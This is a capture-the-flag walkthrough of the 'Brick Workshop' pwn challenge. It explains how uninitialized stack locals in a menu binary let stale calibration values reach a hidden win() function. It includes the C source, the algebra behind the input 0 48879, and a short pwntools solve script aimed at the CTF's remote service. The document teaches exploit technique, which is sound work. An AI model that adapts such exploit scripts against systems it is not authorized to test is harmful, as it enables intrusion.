Brick Workshop
Brick Workshop
Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: algebraic_input_selection, stale_stack_value_reuse, stateful_menu_logic_abuse
Summary
Walkthrough of the CUSTOM Pwn Brick Workshop. Task: an amd64 menu service stores calibration integers in stack locals inside workshop_turn() and later reuses them after a state change. Solution: trigger diagnostics once to seed stale stack valu
Description
Provided challenge materials:
bad_eraser,bad_eraser.c,Dockerfile,Makefile, and the remote servicenc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002.
English summary: this was a small amd64 menu binary themed as a brick workshop. The goal was to review the control flow, find how the hidden win() condition could be reached, and retrieve the flag from the remote service.
Service:
text read-only • copy allowednc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002
Challenge Summary
This was not a classic memory-corruption pwn with a buffer overflow or ROP chain. The binary was an amd64 ELF, dynamically linked, non-PIE, NX enabled, no canary, partial RELRO, and not stripped, but the real issue was a logic bug caused by uninitialized stack variables.
The exploit path was just:
- Choose menu option
3 - Enter
0 48879 - Choose menu option
3again
That second diagnostics call reused stale stack values from the previous call and immediately hit win().
Recon / Code Review
The important code lives in workshop_turn():
c read-only • copy allowedstatic void workshop_turn(void) { int choice; unsigned int mold_id; unsigned int pigment_code; banner(); if (scanf("%d", &choice) != 1) { exit(0); } ... if (!service_initialized) { puts("First-time calibration required."); puts("Enter mold id and pigment code."); if (scanf("%u %u", &mold_id, &pigment_code) != 2) { exit(0); } puts("Calibration saved. Re-enter diagnostics for clutch validation."); service_initialized = 1; return; } diagnostics_bay(mold_id, pigment_code); }
The hidden success path is in diagnostics_bay():
c read-only • copy allowedstatic unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) { return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1); } static void diagnostics_bay(unsigned int mold_id, unsigned int pigment_code) { puts("Running clutch-power diagnostics..."); if (clutch_score(mold_id, pigment_code) == 0x23ccdu) { win(); } puts("Result: unstable clutch fit. Send batch back to sorting."); exit(0); }
Vulnerability Explanation
The bug is use of uninitialized stack variables.
mold_id and pigment_code are local variables inside workshop_turn(). They are initialized only in the first diagnostics path:
- first
option 3call:scanf("%u %u", &mold_id, &pigment_code); service_initialized = 1; return; - second
option 3call:diagnostics_bay(mold_id, pigment_code);
On the second visit, the function declares the same locals again but does not assign them before using them. Because workshop_turn() is called repeatedly in a loop, the new stack frame reuses the same stack area, so the previous calibration values are still sitting there. In practice, the second call forwards those stale values into diagnostics_bay().
So this is a state bug:
- a global flag says the service is initialized
- the code assumes the old calibration data still exists
- but that data only lived in stack locals from the previous function call
Exploit Strategy
We need:
text read-only • copy allowedclutch_score(mold_id, pigment_code) == 0x23CCD
with:
text read-only • copy allowedclutch_score(mold_id, pigment_code) = (((mold_id >> 2) & 0x43) | pigment_code) + (pigment_code << 1)
The chosen input is:
- first menu choice:
3 - calibration input:
0 48879 - second menu choice:
3
Why 48879 works:
48879 == 0xBEEF((mold_id >> 2) & 0x43)can only contribute values in{0,1,2,3,64,65,66,67}- OR-ing any of those values with
0xBEEFstill gives0xBEEF - so the first term becomes exactly
0xBEEF
Therefore:
text read-only • copy allowedclutch_score = 0xBEEF + 2*0xBEEF = 3*0xBEEF = 0x23CCD
This means the stale pigment_code alone is enough to satisfy the check. mold_id can be 0 because the mask contribution is irrelevant after the OR.
Minimal Solve Script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org" PORT = 45002 def main(): io = remote(HOST, PORT) io.sendlineafter(b"> ", b"3") io.sendlineafter(b"Enter mold id and pigment code.\n", b"0 48879") io.sendlineafter(b"> ", b"3") print(io.recvall(timeout=2).decode(errors="replace")) if __name__ == "__main__": main()
Sample Remote Output
text read-only • copy allowedRunning clutch-power diagnostics... Master Builder status unlocked! UMASS{REDACTED}
Key Takeaways / Lessons
- Mastering algebraic_input_selection, stale_stack_value_reuse, stateful_menu_logic_abuse was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-11 • CUSTOM • Brick Workshop • Difficulty: Easy